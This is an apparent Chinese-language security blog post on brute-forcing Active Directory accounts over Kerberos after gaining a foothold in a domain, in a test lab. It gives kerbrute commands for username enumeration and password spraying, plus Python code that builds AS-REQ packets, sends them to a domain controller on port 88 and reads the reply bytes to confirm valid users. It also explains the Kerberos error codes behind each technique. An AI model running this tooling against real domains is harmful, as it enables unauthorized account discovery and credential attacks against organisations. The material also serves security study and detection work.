基于kerberos协议的域内用户名密码爆破
拿到域内机器之后,我们需要横向移动,域内用户账号密码的收集和爆破也是很重要的。
环境
domain:hacke.testlab(192.168.43.100)
win2008:192.168.43.110
Kerberos
一般情况下我们的KDC就是DC
域用户爆破
kerbrute
基于golang编写的一款爆破工具,支持域内用户名枚举、密码爆破,支持win/linux。
github:1
https://github.com/ropnop/kerbrute.git
下载好之后用golang进行编译
会生成kerbrute.exe
放到域内机器执行:1
2
3
4#用户名枚举
kerbrute.exe userenum -d dc.local username.txt
#密码喷洒
kerbrute.exe passwordspray -d dc.local username.txt password
效果如下:
pykerbrute
三好学生编写的py脚本1
2
3
4
5
6#用户名枚举
EnumADUser.py <domainControlerAddr> <domainName> <mode>
<mode>: tcp or udp
#密码喷洒
ADPwdSpray.py <domainControlerAddr> <domainName> <file> <passwordtype> <data> <mode>
<mode>: tcp or udp
效果如下:
代码分析
其实就是发送认证的包,抓取返回值(原理文章后面有写)
这里看EnumADUser.py
AS-REQ结构:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30def build_req_body(realm, service, host, nonce, cname=None):
req_body = KdcReqBody()
# (Forwardable, Proxiable, Renewable, Canonicalize)
# req_body['kdc-options'] = "'01010000100000000000000000000000'B"
req_body['kdc-options'] = "'00000000000000000000000000010000'B"
if cname is not None:
req_body['cname'] = None
req_body['cname']
req_body['cname']['name-type'] = NT_PRINCIPAL
req_body['cname']['name-string'] = None
req_body['cname']['name-string'][0] = cname
req_body['realm'] = realm
req_body['sname'] = None
req_body['sname']['name-type'] = NT_SRV_INST
req_body['sname']['name-string'] = None
req_body['sname']['name-string'][0] = service
req_body['sname']['name-string'][1] = host
req_body['till'] = '19700101000000Z'
req_body['nonce'] = nonce
req_body['etype'] = None
req_body['etype'][0] = RC4_HMAC
return req_body
进行封装:1
2
3
4
5
6
7
8
9
10
11
12
13
14def build_as_req(target_realm, user_name, nonce):
req_body = build_req_body(target_realm, 'krbtgt', target_realm, nonce, cname=user_name)
as_req = AsReq()
as_req['pvno'] = 5
as_req['msg-type'] = 10
as_req['padata'] = None
as_req['req-body'] = _v(4, req_body)
print(as_req)
return as_req
发送请求tcp/udp:1
2
3
4
5
6
7
8
9
10
11
12
13
14def send_req_tcp(req, kdc, port=88):
data = encode(req)
data = pack('>I', len(data)) + data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((kdc, port))
sock.send(data)
return sock
def send_req_udp(req, kdc, port=88):
data = encode(req)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((kdc, port))
sock.send(data)
return sock
接收请求tcp/udp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28def recv_rep_tcp(sock):
data = ''
datalen = None
while True:
rep = sock.recv(8192)
if not rep:
sock.close()
raise IOError('Connection error')
data += rep
if len(rep) >= 4:
if datalen is None:
datalen = unpack('>I', rep[:4])[0]
if len(data) >= 4 + datalen:
sock.close()
return data[4:4 + datalen]
def recv_rep_udp(sock):
data = ''
datalen = None
while True:
rep = sock.recv(8192)
if not rep:
sock.close()
raise IOError('Connection error')
data += rep
if len(rep) >= 4:
sock.close()
return data
验证:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25def checkuser_tcp(user_realm, user_name, kdc_a):
nonce = getrandbits(31)
as_req = build_as_req(user_realm, user_name, nonce)
sock = send_req_tcp(as_req, kdc_a)
data = recv_rep_tcp(sock)
i=0
for c in data:
i=i+1
if(i==47):
if(ord(c)==0x19):
print('[+] Valid user: %s'%(user_name))
def checkuser_udp(user_realm, user_name, kdc_a):
nonce = getrandbits(31)
as_req = build_as_req(user_realm, user_name, nonce)
sock = send_req_udp(as_req, kdc_a)
data = recv_rep_udp(sock)
i=0
for c in data:
i=i+1
if(i==47):
if(ord(c)==0x19):
print('[+] Valid user: %s'%(user_name))
原理分析
使用win2008登陆域用户,会向我们的域控发起认证请求
用户名枚举
在认证过程中,若用户名不存在,AS-REQ请求会返回对应的错误信息
1 | 用户不存在: |
密码喷洒
在认证过程中,若密码错误,AS-REQ请求会返回对应的错误信息
特征:1
error_code:eRR-PREAUTH-FAILED
参考
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:基于kerberos协议的域内用户名密码爆破
本文作者:sher10ck
发布时间:2020-10-26, 14:41:54
最后更新:2020-10-26, 16:40:38
原始链接:http://sherlocz.github.io/2020/10/26/kerberos-brute/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。